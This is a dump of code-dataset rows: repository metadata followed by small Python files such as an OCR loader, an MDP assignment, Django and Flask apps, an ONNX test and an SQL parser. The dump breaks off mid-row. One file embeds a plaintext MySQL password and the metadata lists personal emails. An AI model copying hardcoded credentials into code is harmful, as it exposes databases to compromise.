blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 281 | content_id stringlengths 40 40 | detected_licenses listlengths 0 57 | license_type stringclasses 2
values | repo_name stringlengths 6 116 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 313
values | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 18.2k 668M ⌀ | star_events_count int64 0 102k | fork_events_count int64 0 38.2k | gha_license_id stringclasses 17
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 107
values | src_encoding stringclasses 20
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 4 6.02M | extension stringclasses 78
values | content stringlengths 2 6.02M | authors listlengths 1 1 | author stringlengths 0 175 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
0eb2979125a5b4056d09ab95f6cc6293d196a707 | 0bb07ddb865c69783ff1ada6d2be1752dc918d45 | /ocr/ocr.py | b4a8b36d91ffdc2202b69ed2ff2fcd55028f43cf | [
"MIT"
] | permissive | satroan/machine-learning-playground | e641543308fca4456b7b99e8d322682d62f7e18b | 572c7017415393d6d456cbc96704ab288c461f37 | refs/heads/master | 2020-03-20T10:36:47.021331 | 2018-04-10T00:11:17 | 2018-04-10T00:11:17 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 266 | py | from loadDataset import getX, getY
# X corresponds to 5000 pictures of hand written numerals of 20*20=400 pixels converted to grayscale
X = getX()
# y corresponds to 5000 integers between 0 and 9 indicating to which number a given picture corresponds to
y = getY() | [
"pode.fr@gmail.com"
] | pode.fr@gmail.com |
cadbf5c651cb9298ab6124631a1d8d64359e8bc0 | 14a9d66ded2ab921afa444c67a67f8772e675a78 | /Assignments/a3-3702-43213889/MDP.py | 5c9c9bd93950f4cca03c780f311d76ab006c539f | [] | no_license | AchintyaChavan/University | f3d98b8af7fa9cacdad6d8e122d07adbdacea011 | 4163fd5feb0f7e26fe91343c7754c2127311815e | refs/heads/master | 2021-01-15T13:18:40.612732 | 2017-11-10T09:36:31 | 2017-11-10T09:36:31 | 99,667,484 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,960 | py | '''
Created on 9 Oct. 2017
@author: AC
'''
import copy
import ProblemSpec as PS
"""
* Immediate Reward function R(s, a)
* @param s Current State
* @param a Action State
* @oaram M Maximum threshold for total funding
* @param P Probability Matrix
* @returns the immediate reward at (s, a)
"""
... | [
"AC@192.168.1.3"
] | AC@192.168.1.3 |
a50506c6f1e9b437891467aeec49f7ce0e5d0e3c | 5e9b2d0d2a4399fd028c738a082921a1df1f8321 | /hacker rank/30 Days Of Code/Day 04 - Class vs. Instance.py | 2f6aaced92bd0e97a00c76adb993e0adff08a560 | [] | no_license | sunilsm7/python_exercises | 42e5a1aee0a0d5402b585e1b1631517145aa1e00 | b2754c51464dcd81319c8514c24249a13e18d825 | refs/heads/master | 2020-12-02T16:19:20.266436 | 2017-10-27T10:22:37 | 2017-10-27T10:22:37 | 96,534,650 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 876 | py | """
In this challenge, we're going to learn about the difference between a class and an instance;
because this is an Object Oriented concept, it's only enabled in certain languages.
Task
Write a Person class with an instance variable, age, and a constructor that takes an integer, initial_age, as a parameter.
The const... | [
"sunil9766@gmail.com"
] | sunil9766@gmail.com |
37920865fa489a74b51a9db00a553ab66befcae3 | 352bdbe5bb53d69a2d1ce0b4e4df9e8f778d8398 | /plaidapis/apps.py | 675dbfaa9fe435156e205246bfb991365c71eaab | [] | no_license | sonuverma1/plaid_auth | 01f08fe0866dcc480c287a11e93cded7dee81017 | 19ec8ddc31f7ddf0f5444e110f9e1d669b7bfe25 | refs/heads/master | 2023-02-27T11:59:51.431174 | 2021-02-05T03:55:16 | 2021-02-05T03:55:16 | 335,754,628 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 93 | py | from django.apps import AppConfig
class PlaidapisConfig(AppConfig):
name = 'plaidapis'
| [
"vsonu024@gmail.com"
] | vsonu024@gmail.com |
d2ccc73629f7475a9a7a92c494248fd7259545a1 | a00e02d21c644c801e75677dafbb5bc0fcf03f55 | /1/1.5.py | 309d7196b6f7137eb087e1b114d8f0cc7349beae | [] | no_license | zengfanyao/cookbook | e41ab7ff6322d2e2b954fdcdfd87ab9a56338565 | 281ca919d56e668a09127e2993acbca90e7fe48a | refs/heads/master | 2021-01-21T18:28:47.625039 | 2017-02-15T07:18:27 | 2017-02-15T08:06:31 | 83,625,558 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 551 | py | import heapq
class PriorityQueue:
def __index__(self):
self.queue=[]
self._index=0
def push(self,item,priority):
heapq.heappush(self.queue,(-priority,self._index,item))
self._index+=1
def pop(self):
return heapq.heappop(self.queue)[-1]
class Item:
def __init... | [
"zengfanyaotara@163.com"
] | zengfanyaotara@163.com |
10878b61c5e0ebf2a18f06f4fa888b9efee34475 | ee904d3335b8fdc5dbb6c260f87dd0e01b7bb605 | /personal/models.py | 2a3381d9a1a6aa4c51c481316fcf4cac75a423cd | [] | no_license | sudhanshu8917/Techy-Blogger | 32930136b479635ec5616e44cc48b7d02bce2795 | f7fd26cb223276bd9c35023c8166243ab430b6b4 | refs/heads/master | 2022-04-25T01:03:57.281784 | 2020-04-23T19:46:48 | 2020-04-23T19:46:48 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 518 | py | from django.db import models
# Create your models here.
# PRIORITY = [
# ("H","Low"),
# ("L","Medium"),
# ("H","High"),
# ]
# class Question(models.Model):
# tilte =models.CharField(max_length=60)
# question =models.TextField(max_length=400)
# priority ... | [
"sudhanshuraj8917@gmail.com"
] | sudhanshuraj8917@gmail.com |
ec5ed496cd2968dfaf54ff585b67995c4359dd10 | e96765faab652f3d2e424b4adccaa9798c46ca73 | /recover_info_after_crash.py | 862f4bdb79750a8a2082f5240b2878c168bc3ae6 | [] | no_license | ikatsadas/Thesis-Implementation | 5cc8977c66e826c46f3528c1c3c80a4a3ffdcdf2 | 4794c265ff2704871fb744abc06a2fb69168a525 | refs/heads/master | 2021-03-22T00:18:26.313924 | 2019-04-14T18:56:07 | 2019-04-14T18:56:07 | 114,012,127 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,457 | py | import tweepy
import os
import sys
import time
from pymongo import MongoClient
import networkx as nx
#This script was created to fix the broken structures and retrieve the lost data after a crash on the main script (out of date)
#It was also where there was the first creation of graphs
client = MongoClient('localhos... | [
"johnkats5896@gmail.com"
] | johnkats5896@gmail.com |
10a105beef8d563783c1436066efc230d67ec626 | 70d15805f687cc1024797fb35cc7f2977eb04942 | /API_Test.py | 2a728f35dc029da109b9cfa86a29def69f962c0f | [] | no_license | calldrj/Online.Retail | ea98cea594e4b5c4b68989915c120d3f1da40e2a | 243a7096eb35baf56cffd847c21a6438ddbdc880 | refs/heads/master | 2023-04-20T05:26:38.040915 | 2021-05-06T01:15:09 | 2021-05-06T01:15:09 | 360,321,206 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,163 | py | import mysql.connector
from mysql.connector import Error
# Fill in the database you want to work on
working_database = 'Retail'
# Fill in your mySQL root pass
mysql_password = 'dinh9Thuan'
try:
connection = mysql.connector.connect(host='localhost',
database=working_databa... | [
"efranchisor@gmail.com"
] | efranchisor@gmail.com |
a6de039128fc887a59c90c0de1b9f5aeae3e3fc5 | 74a5fc8bd67dd11df164a92d01e6a62fcd3ae6ec | /sources/photo_extractor/LibraryBuilder/ArtistCollector.py | 1fc784fc3e505f3b5961deeffc67325f15f17785 | [] | no_license | ramharter/mosaic | c5dd934b7375f263bce2b5fb1c852e5451bb7c8c | 465d2560d20c8b02d7f6f2cdd39ce57a8988766b | refs/heads/master | 2021-05-01T17:22:21.773561 | 2017-01-19T14:50:15 | 2017-01-19T14:50:15 | 79,460,817 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,437 | py | from lxml import etree
import os.path
import re
""" ArtistCollector v0.0.2
author - lila ramharter <lila.ramharter@technikum-wien.at>
info - Parses xml music library file and gets all artist names
The xml file is NOT included in the git repo, because it it pretty big.
"""
class ArtistCollector... | [
"lila.ramharter@technikum-wien.at"
] | lila.ramharter@technikum-wien.at |
13018e0e6e15817d976ba4c566d628a48c9b4168 | 82eec64adb34b622989f9e02dcc739b46d801b81 | /onnx/test/automatic_upgrade_test.py | 1eeaf4bcea120ebe488ee46c44f8d722d5d7e272 | [
"Apache-2.0"
] | permissive | TE-7000020662/onnx | 9960e0529d8b0ddaec564c41acd3de8d414fdd67 | 1d5b7347f3d7726b50f7d563f6472c82e1531240 | refs/heads/master | 2023-07-02T20:24:03.730004 | 2021-08-05T17:37:36 | 2021-08-05T17:37:36 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 42,853 | py | # SPDX-License-Identifier: Apache-2.0
import onnx
from onnx import helper, TensorProto, shape_inference, version_converter, ValueInfoProto
from typing import Text, List, Dict, Any, Union, Callable, Optional, cast
import string
import numpy as np # type: ignore
import unittest
########################################... | [
"noreply@github.com"
] | noreply@github.com |
0fbfc16d292ed9959bf0122287372529742f528a | 944af066faa7de6530a7d7ccc31fc55d8a3daa03 | /test04_draw.py | 7efa33597ae024c128ddb6d0d7292de3f729b5c8 | [] | no_license | FLY-BIAO/opencv_tutorial | 93310c6504923c84ba9a26227d93ebc6f32bc42b | 045d4b8efed5494201c13231bc58129d77b1a8ae | refs/heads/main | 2023-08-04T09:57:45.428463 | 2021-10-02T03:01:37 | 2021-10-02T03:01:37 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 356 | py |
import cv2
import numpy as np
image = np.zeros([300, 300, 3], dtype=np.uint8)
cv2.line(image, (100, 200), (250, 250), (255, 0, 0), 2)
cv2.rectangle(image, (30, 100), (60, 150), (0, 255, 0), 2)
cv2.circle(image, (150, 100), 20, (0, 0, 255), 3)
cv2.putText(image, "hello", (100, 50), 0, 1, (255, 255, 255), 2, 1)
cv2.i... | [
"kongfanhe@gmail.com"
] | kongfanhe@gmail.com |
a92d6441a0fd2f223bc21e0d866ebddf7a054b36 | 17821ba5f1345bcb5181092cec7808e08355abd0 | /Django_projects/P2-video fail/my_proj/src/my_proj/migrations/0005_video_name.py | e9e93aa7fe462157356740f1f0b77bf76382fe25 | [
"MIT"
] | permissive | Coni63/scripts_Python | be1a416dc702c919120645f2946596c68a6a3fbb | b1ac0bee706504abcc86fd7a72b8ec625ffa12b3 | refs/heads/master | 2021-07-11T16:50:56.719758 | 2018-02-25T12:19:29 | 2018-02-25T12:19:29 | 95,472,736 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 462 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.10.4 on 2017-05-17 09:44
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('my_proj', '0004_remove_video_name'),
]
operations = [
migrations.AddField(
... | [
"mine.nicolas@gmail.com"
] | mine.nicolas@gmail.com |
25ae84d3166b607b14952b9f2e5e1b5b3dc3f34c | 3ccc34d4e31047074e843fd782b695ba1688bd62 | /GUI_ML.py | dc04006243f07731b7f326dd26a3b0c4bd73b4cb | [
"MIT"
] | permissive | hrishikeshnikam2000/TriKoNik | 9b8b529110e389d6b0c130f69eb5e662bd7fff60 | 80f10261eb739669a46a4101464f0dec2ded4127 | refs/heads/main | 2023-04-15T05:29:30.723024 | 2021-04-25T20:30:59 | 2021-04-25T20:30:59 | 357,966,209 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 767 | py | from tkinter import *
from tkinter.filedialog import askopenfilename
from tkinter.messagebox import *
import csv
import os
from tkinter import ttk
gui = Tk()
gui.geometry("300x300")
gui.title('Machine Learning GUI')
class GUI(Frame):
def __init__(self,master=None):
Frame.__init__(self, master)
... | [
"hrishinikam2000@gmail.com"
] | hrishinikam2000@gmail.com |
d85052bf4c0683d6a102380af48355ebcdca8134 | 624a240964083722782c78f061af5a9dc3955c02 | /StringIndex.py | 50a0d37b04533983d83ee68c13ae67acfac02b65 | [] | no_license | Ashwinanand/Python | 46db64a8221cbcf9c6635b4cd0898ad86f5c1dd4 | 04c60e3ed75ae997d7930e431ba8d9856ef56b65 | refs/heads/main | 2023-04-21T19:12:23.426178 | 2021-05-05T06:45:30 | 2021-05-05T06:45:30 | 334,422,157 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 155 | py | string, letter = input("Enter").split()
for c in string:
if letter == c:
print("Yes", string.index(c))
break
else: print("no")
| [
"noreply@github.com"
] | noreply@github.com |
b4f7cdeec17ecd205cbc93e2f5b6bc0444aacb08 | 163bbb4e0920dedd5941e3edfb2d8706ba75627d | /Code/CodeRecords/2864/60591/310678.py | b3ddf43088c2b9c36f5b42543811c99ee8acaf76 | [] | no_license | AdamZhouSE/pythonHomework | a25c120b03a158d60aaa9fdc5fb203b1bb377a19 | ffc5606817a666aa6241cfab27364326f5c066ff | refs/heads/master | 2022-11-24T08:05:22.122011 | 2020-07-28T16:21:24 | 2020-07-28T16:21:24 | 259,576,640 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 541 | py | n = eval(input())
nums = list(map(int, input().split(" ")))
if (len(nums) == 1):
print(nums[0])
elif(len(nums) == 2):
if(abs(nums[1] - nums[0]) == 1):
print(max(nums[1],nums[0]))
else:
print(nums[1] + nums[0])
else:
result = 0
temp = []
for x in range(max(nums) + 1):
temp... | [
"1069583789@qq.com"
] | 1069583789@qq.com |
b66fd7189138ec6b6838e3f08bffe8eb0cbf022f | dea05ae259460380b61f86fce89e6e75b2778d7e | /normal_dataset/C3ford.py | c4c84858fc09036ce5f47dc1092ca9dbd0ddd7ae | [] | no_license | machuangpku/pcrm1.0_scripts | e90a44a7c3dcd1112d90d575a64ae185dac5a396 | 7e08e509ffc74030d9abedacba3278f799085611 | refs/heads/main | 2023-01-20T02:08:41.043435 | 2020-11-20T11:47:35 | 2020-11-20T11:47:35 | 314,537,825 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,460 | py | from win32com.client import Dispatch
import win32com.client
import os
homedir = os.getcwd()
excel = win32com.client.Dispatch('Excel.Application')
"""
0代表隐藏对象,但可以通过菜单再显示
-1代表显示对象
2代表隐藏对象,但不可以通过菜单显示,只能通过VBA修改为显示状态
"""
excel.Visible = -1
myBook = excel.Workbooks.Open(homedir + "\\pcem.xlsm")
myShee... | [
"machuang@machuangdeMacBook-Pro.local"
] | machuang@machuangdeMacBook-Pro.local |
b81529e0fd28b8257a0f2b7b41ab51ae9e828c61 | 3a55c0dd67f77772c8da61ac954e9ff923056bc8 | /scripts/node-analysis/get-node-rmq-metrics | d0ba32ed5782a2adbcecb527b306c1fa77822cfa | [] | no_license | hpan8/beehive-server | 3b6731c2451453e7d8aecbc0cba9481707155016 | b13f476c28b2f5f3db1aa3a13ac0f12185e61e1d | refs/heads/master | 2020-03-22T18:27:21.417423 | 2018-07-05T16:20:48 | 2018-07-05T16:20:48 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 272 | #!/usr/bin/python3
import sys
import waggle.beehive.node as node
if len(sys.argv) == 1:
print("Usage: get-node-ssh-metrics <partial_node_id>")
sys.exit(1)
metrics = node.rabbitmq_metrics(sys.argv[1])
if 'node_id' in metrics:
print(metrics)
else:
sys.exit(1)
| [
"lane@beehive1.mcs.anl.gov"
] | lane@beehive1.mcs.anl.gov | |
8af17fb2e3ab102cd0d02489f823a5800a3dac93 | 55c250525bd7198ac905b1f2f86d16a44f73e03a | /Python/Lazymux/websploit/core/help.py | 8b341ed650071223766e292675f6d56d447f26f8 | [] | no_license | NateWeiler/Resources | 213d18ba86f7cc9d845741b8571b9e2c2c6be916 | bd4a8a82a3e83a381c97d19e5df42cbababfc66c | refs/heads/master | 2023-09-03T17:50:31.937137 | 2023-08-28T23:50:57 | 2023-08-28T23:50:57 | 267,368,545 | 2 | 1 | null | 2022-09-08T15:20:18 | 2020-05-27T16:18:17 | null | UTF-8 | Python | false | false | 129 | py | version https://git-lfs.github.com/spec/v1
oid sha256:ad1e9de5e3288e6454391464b0dbe8b0b42084b82cfbc0f4789743568bbccdf1
size 1001
| [
"nateweiler84@gmail.com"
] | nateweiler84@gmail.com |
68ef6297c5288eb78eda88f3ade7c80f642ac4b6 | e564e4678ab0c61baa85fa2dc376c7a5e9ed09e8 | /setup.py | dc41c640efe975755ff51005bef9aa44b7dfb344 | [] | no_license | Anessivan/Numeral | 8dc46fe7f73cf94d3ba0190a301e104d01b34642 | fc0cab091829413cc87c12e881d2fdc05365c99f | refs/heads/master | 2023-09-05T03:25:03.157702 | 2021-11-18T13:36:17 | 2021-11-18T13:36:17 | 422,258,166 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 939 | py | import pybind11
from setuptools._distutils.core import setup, Extension
ext_modules = [
Extension(
'rungekutta4', # имя библиотеки собранной pybind11
['Source.cpp'], # Тестовый файлик который компилируем
include_dirs=[pybind11.get_include()], # не забываем добавить инклюды pybind11
... | [
"Anessivan@mail.ru"
] | Anessivan@mail.ru |
6f7e4f5bb84ffc40093b79006527a7fad7248444 | 06b786f0d01d063c2a01692563f39dff8e62f5c9 | /ecommerce/urls.py | db23dbec376c1bcc429abfa78d6133aacb0410e2 | [] | no_license | Muhiaz/music | 1c21f7cd4b3d475d440a86d4bd8c7fd3eb9d6379 | 6efc3a3d680fd7d4649a3a30e9a4b08a4edeaf08 | refs/heads/master | 2020-03-27T06:08:29.792468 | 2018-08-25T11:25:31 | 2018-08-25T11:25:31 | 146,081,947 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,122 | py | """ecommerce URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.1/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-bas... | [
"davidmuhia87@gmail.com"
] | davidmuhia87@gmail.com |
74d3cb446e3dbf5021451c60f669b87c28365a01 | 276a0438c1c71d75fc20844b982e32ebdcf2e958 | /frontend.py | 84f8d7d0375d8a2f8b8d258ed6811bdc0d81ebdc | [] | no_license | sharp-peter/rsoi_lab3 | d2a6e6321d636ce7efa452dc0b66e89fc2df5b8d | 8eeb45c9bee05ed1a09ac7ad759c1ac7fef4d23f | refs/heads/master | 2021-01-10T04:15:23.351214 | 2016-01-18T10:30:27 | 2016-01-18T10:30:27 | 49,016,108 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,206 | py | import flask
import json
import requests
from uuid import uuid4
from datetime import datetime, timedelta
from flask.sessions import SessionInterface, SessionMixin
from werkzeug.datastructures import CallbackDict
# Backend URLs
BE_SESSIONS = 'http://127.0.0.1:5001/api/sessions'
BE_USERS = 'http://127.0.0.1:5002/api/u... | [
"Peter Sharapov"
] | Peter Sharapov |
eca8f543779bc4c8b9a61aa777bcbff9ae8396f5 | 929cbc557de2beefcf32dba512841b5d724fce3d | /dependencies/Cosmos/example_workflows/ex3.py | 2e524c1f3712c99d65d7a90a8b3f7438745538e4 | [] | no_license | rene111/msi | 395c164333f32540e64cec6d50b6a7a9dd02b2f9 | 93baf9341a074df0fd77a3d803a3ca6ffa31519d | refs/heads/master | 2021-01-17T18:12:39.939351 | 2013-08-02T17:34:10 | 2013-08-02T17:34:10 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 590 | py | from cosmos.Workflow.models import Workflow
from cosmos.contrib.ezflow.dag import DAG, split_,add_,map_,reduce_
from tools import ECHO, CAT, WC, PASTE, Sleep
####################
# Workflow
####################
dag = DAG().sequence_(
add_([ ECHO(tags={'word':'hello'}), ECHO(tags={'word':'world'}) ]),
map_(Sle... | [
"ljl11@clarinet000-207.orchestra"
] | ljl11@clarinet000-207.orchestra |
3ba91dad344833a68bbc09d638b1a30825b29730 | d91f31746e30dca153329d4284731c60d1485a9b | /retrieve_pro_id_with_min_max_pos_for_pep_seq.py | 94955f417b289a0eff3785d0e85bbd4f816278bf | [] | no_license | changool/Proteomics_Ribosome_Profiling | 8068c88e6e2c549026f4f64a963f05e1ad2bd8b7 | 2091362efb0fec8d7cb20f38c8c7e9261ecf1cf8 | refs/heads/master | 2020-04-06T04:50:22.503383 | 2017-01-16T22:28:21 | 2017-01-16T22:28:21 | 45,768,910 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 994 | py | #!/usr/bin/python
# This code takes file [peptide1|gi_accession1|protein_length1;peptide1|gi_accesion2|protein_length2;...] and gives gi accession number with largest protein and peptide position on the protein
# argv1: database [peptide1|gi_accession1|protein_length1;peptide1|gi_accession2|protein_length2;...]
# argv2... | [
"chanhyun.na@gmail.com"
] | chanhyun.na@gmail.com |
00ba9bb8ecd7be208c686bc643ab5e307edafe12 | e5f9fc6e35ec87bb9b4a0f1041c458fb58d5b5cf | /example2.py | f8115dd4d1ad197fc566181cff759c7240b72f69 | [] | no_license | mmattice/microsegmentation | 82c5dbab3a4c441f785dad0efdfc28647c64d7a6 | 09b45479cfaaeacd5ae55fa4f43789f783e8d159 | refs/heads/master | 2020-03-10T23:35:46.697169 | 2018-04-12T14:34:36 | 2018-04-12T14:34:36 | 129,644,169 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 550 | py | #!/usr/bin/env python3
from microseg import iacnet
import os
n = iacnet('po1', 'po3', '10.42.0.1', '10.100.0.0', supernetbits=8)
f = open('/tmp/microseg-fw.conf', 'w')
f.write('!*********************** Cisco microseg firewall config ************\n')
for conf in n.getFullCiscoFWConfigs():
f.write(conf)
f.write... | [
"mike@mattice.org"
] | mike@mattice.org |
26ff43671dca13288c13c63813a52087fc0064b9 | 136a174f8de72746004aaf28a7ec959fddbd689b | /test_scripts/xx4.py | aca9862f32eab929bf99b84ef4e4d77742fecf20 | [] | no_license | xod442/imcServiceNow2 | ff3c74ffd633f67ef984c5ab9a65da0010e3bc9d | 0dd86659816bae19e5d43bcb8c894005564597cb | refs/heads/master | 2021-01-18T18:33:50.203685 | 2018-01-09T21:25:22 | 2018-01-09T21:25:22 | 86,862,461 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,927 | py | import time
from flask import Flask, request, render_template, redirect, url_for, flash, session, send_file
from flask.ext.bootstrap import Bootstrap
from flask_sqlalchemy import SQLAlchemy
from models import db, Imc_alarm_ids
from settings import APP_STATIC
import os
from flask import Flask, request, redirect, url_for... | [
"rick@rickkauffman.com"
] | rick@rickkauffman.com |
1596db543519340af331ebc5b52159918fd4ee73 | 8848bd7a4ca88e0061ce1c7dfbf45c488968ea52 | /ravens/tasks/insertion_goal.py | fc0615b9afcb813910b6af74eada86ff53f36564 | [
"Apache-2.0"
] | permissive | gautams3/deformable-ravens | 5f390d6bf5af26fa9c746232a8d90403a89fd7ce | 1324243b804532d229d91f2af13ee84c6fd4771c | refs/heads/master | 2023-08-15T01:46:47.025808 | 2021-10-13T16:10:32 | 2021-10-13T16:10:32 | 416,812,524 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,501 | py | #!/usr/bin/env python
import numpy as np
import pybullet as p
from ravens.tasks import Task
from ravens import utils as U
class InsertionGoal(Task):
"""Using insertion, but in a goal-based Transporters context."""
def __init__(self):
super().__init__()
self.ee = 'suction'
self.max_s... | [
"takeshidanny@gmail.com"
] | takeshidanny@gmail.com |
2417f647ff341332d97753bbf946e4e9c267e7d2 | d4b6e78f04f8dc9a33533b2c162a0aae5b70da58 | /tests/factory_fixtures/emergency_contact.py | c93388ad5da23f4d19e86c554fcc75ee8cfa180b | [
"MIT"
] | permissive | codeforpdx/dwellinglybackend | 1e1ce06032a58e4bee14b3c676d548de4ee94dc1 | e143cd1900f99828d95cab1772ef326c0544c851 | refs/heads/development | 2021-12-22T09:35:25.522049 | 2021-12-19T09:22:16 | 2021-12-19T09:22:16 | 243,431,090 | 16 | 30 | MIT | 2021-12-19T09:22:58 | 2020-02-27T04:33:08 | Python | UTF-8 | Python | false | false | 941 | py | import pytest
from models.emergency_contact import EmergencyContactModel
from models.contact_number import ContactNumberModel
from tests.attributes import emergency_contact_attrs
@pytest.fixture
def emergency_contact_attributes(faker, contact_number_attributes):
def _emergency_contact_attributes():
return... | [
"noreply@github.com"
] | noreply@github.com |
815aea252ba819a713de22a97fa1b7ec1d75da72 | 6a7777c85094da6af21c76a10a6930c214a90723 | /dramakul/extractors/xstreamcdn.py | 78d34758e368f05005774858620b01cc6ea9db63 | [
"MIT"
] | permissive | acgonzales/dramakul | ef15f0f88f32b51123f03859c3c0992bda22a7e9 | eb80ae55b133bbb702bce2b78cae8f6902e8a06e | refs/heads/main | 2023-03-03T16:32:34.755187 | 2021-02-10T09:54:52 | 2021-02-10T09:54:52 | 336,841,539 | 8 | 0 | null | null | null | null | UTF-8 | Python | false | false | 745 | py | from dramakul.extractors import Extractor
class XStreamCDN(Extractor):
name = "XStreamCDN"
regexes = ["xstreamcdn", "fcdn.stream",
"fembed.com", "https://fcdn.stream", "https://www.fembed.com"]
def __init__(self, url, *args, **kwargs):
super().__init__(url, *args, **kwargs)
de... | [
"aaroncgonzales.dev@gmail.com"
] | aaroncgonzales.dev@gmail.com |
cf60f668db03570619b8740d6e07a94d3cf15336 | eff8b2a28fa613b0616ce78253f31775ed88b9ef | /Assignment 1/code.py | efa6017a676dc9d73511b11a3dd012504052ad7e | [] | no_license | kishormishra3/CSE441-DATABASE-SYSTEMS | 3cffb07d7fdd3afc32c226530a8170a0bca935dd | 305479fcc019b9b2ecefe28b3b96b500d2d8ce50 | refs/heads/master | 2022-07-08T04:29:35.048249 | 2020-05-07T07:22:46 | 2020-05-07T07:22:46 | 261,781,015 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 91,373 | py | import sqlparse
import sys
import itertools
def check(y):
for i in y:
if("max" in i or "MAX" in i):
return True
if("min" in i or "MIN" in i):
return True
if("sum" in i or "SUM" in i):
return True
if("avg" in i or "AVG" in i):
return Tru... | [
"noreply@github.com"
] | noreply@github.com |
c3a0d1369fde9e59c265b84b9a934f891fa175ea | 84e5a6f8041d8ff4eb0070d6b1cfff3e6aa7ac1a | /setup.py | a613e4f36dd56cf47d77e8b9b2a765340ec017a8 | [
"BSD-3-Clause"
] | permissive | Usibre/asmregex | 35e6fcb3696ddfa8e34e5f58f707a7c7abb49c0c | fba5ca4e53f5ee5af4e96a323acbe62aab96844e | refs/heads/master | 2023-05-12T05:24:55.652985 | 2023-05-02T16:17:46 | 2023-05-02T16:17:46 | 191,033,575 | 6 | 2 | BSD-3-Clause | 2023-05-02T16:17:47 | 2019-06-09T17:07:06 | Python | UTF-8 | Python | false | false | 527 | py | from setuptools import setup, find_packages, find_namespace_packages
setup(name='asmregex',
version='0.2.1',
description='Matching regular expressions on asm code',
url='https://outoftheheap.com/',
author='Jordy Gennissen',
author_email='jordy.gennissen@rhul.ac.uk',
license='CC 3.0 ... | [
"jordy.gennissen@rhul.ac.uk"
] | jordy.gennissen@rhul.ac.uk |
bd6105bfe2c5aa1a5c07520df91d63028f68ad82 | 8f3985f7e51f3e9874fc3795253d396109095f45 | /transforms/spatial/crop.py | d7e3a2df740241c0c5f71a7e67ccb57fea96b49b | [
"Apache-2.0"
] | permissive | H-Pastry/PSFDataset | 18c5b738ff6c281814dce0eb622f2361997cb5c0 | 6826d7c9c21be4a98ed9a0176806b0a1cbf8cedc | refs/heads/master | 2022-06-13T18:13:49.873214 | 2020-05-07T16:20:24 | 2020-05-07T16:20:24 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,564 | py | # -----------------------------------------------------------
# Class to crop a sequence of keypoints to their common spatial bounding box.
#
# (C) 2020 Kevin Schlegel, Oxford, United Kingdom
# Released under Apache License, Version 2.0
# email kevinschlegel@cantab.net
# ------------------------------------------------... | [
"kevinschlegel42@gmail.com"
] | kevinschlegel42@gmail.com |
666e6219755eb231070a10643b9496ae363a623f | 70439b9613ecd2f9387b499865b63936a540d581 | /code/Poisson.py | 386839f2f79725a432dcd761579222a423a0e28d | [] | no_license | LDRfans/PerfectMoment | 42d9a8091542a0ae88c028a99cd40cc92c211e99 | 66a76537cda61ffb35f42dcb1050283f490d00dc | refs/heads/main | 2023-06-02T06:36:57.214967 | 2021-06-24T13:59:14 | 2021-06-24T13:59:14 | 370,084,778 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,876 | py | import os
from os import path
import cv2
import numpy as np
import scipy.sparse
from scipy.sparse.linalg import spsolve
import matplotlib.pyplot as plt
def laplacian_matrix(img_width, img_height):
'''
Generate the laplacian matrix
:param img_width:
:param img_height:
:return: The matrix
'''
... | [
"1771535504@qq.com"
] | 1771535504@qq.com |
d8a5c1939b6c95386264908ad58cff196f78ef17 | 5963c12367490ffc01c9905c028d1d5480078dec | /homeassistant/components/numato/switch.py | 505d28d0c4036acb28906ca213dd68232a6cd195 | [
"Apache-2.0"
] | permissive | BenWoodford/home-assistant | eb03f73165d11935e8d6a9756272014267d7d66a | 2fee32fce03bc49e86cf2e7b741a15621a97cce5 | refs/heads/dev | 2023-03-05T06:13:30.354545 | 2021-07-18T09:51:53 | 2021-07-18T09:51:53 | 117,122,037 | 11 | 6 | Apache-2.0 | 2023-02-22T06:16:51 | 2018-01-11T16:10:19 | Python | UTF-8 | Python | false | false | 3,419 | py | """Switch platform integration for Numato USB GPIO expanders."""
import logging
from numato_gpio import NumatoGpioError
from homeassistant.const import (
CONF_DEVICES,
CONF_ID,
CONF_SWITCHES,
DEVICE_DEFAULT_NAME,
)
from homeassistant.helpers.entity import ToggleEntity
from . import CONF_INVERT_LOGIC,... | [
"noreply@github.com"
